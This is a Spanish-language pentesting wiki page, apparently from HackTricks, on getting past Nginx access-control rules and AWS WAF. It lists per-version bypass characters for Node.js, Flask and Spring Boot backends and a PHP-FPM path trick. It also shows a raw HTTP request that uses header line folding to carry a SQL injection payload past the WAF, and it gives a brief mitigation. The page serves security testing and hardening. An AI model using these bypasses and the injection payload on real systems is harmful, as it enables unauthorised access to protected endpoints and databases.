7.3 KiB
Bypass de Protecciones de Proxy / WAF
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Bypass de Reglas de ACL de Nginx
Ejemplo de restricción de Nginx:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
NodeJS
- Como Nginx incluye el carácter
\xa0
como parte de la ruta, la regla ACL para la URI/admin
no se activará. En consecuencia, Nginx enviará el mensaje HTTP al backend; - Cuando el servidor Node.js recibe la URI
/admin\x0a
, el carácter\xa0
se eliminará, lo que permitirá recuperar con éxito el punto final/admin
.
Versión de Nginx | Caracteres de Bypass de Node.js |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
Flask elimina los caracteres \x85
, \xA0
, \x1F
, \x1E
, \x1D
, \x1C
, \x0C
, \x0B
y \x09
de la ruta URL, pero NGINX no lo hace.
Versión de Nginx | Caracteres de Bypass de Flask |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
A continuación, se muestra una demostración de cómo se puede eludir la protección ACL agregando el carácter \x09
o al final de la ruta:
Versión de Nginx | Caracteres de Bypass de Spring Boot |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Consideremos la siguiente configuración de Nginx FPM:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Es posible evadirlo accediendo a /admin.php/index.php
:
Cómo prevenirlo
Para prevenir estos problemas, debes usar la expresión ~
en lugar de la expresión =
en las reglas de ACL de Nginx, por ejemplo:
COPYCOPY
location ~* ^/admin {
deny all;
}
Bypassando AWS WAF ACL con Line Folding
Es posible evadir la protección de AWS WAF en un encabezado HTTP utilizando la siguiente sintaxis, donde AWS WAF no entenderá que el encabezado X-Query contiene una carga útil de inyección SQL mientras que el servidor nodo detrás sí lo hará:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Referencias
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el merchandising oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.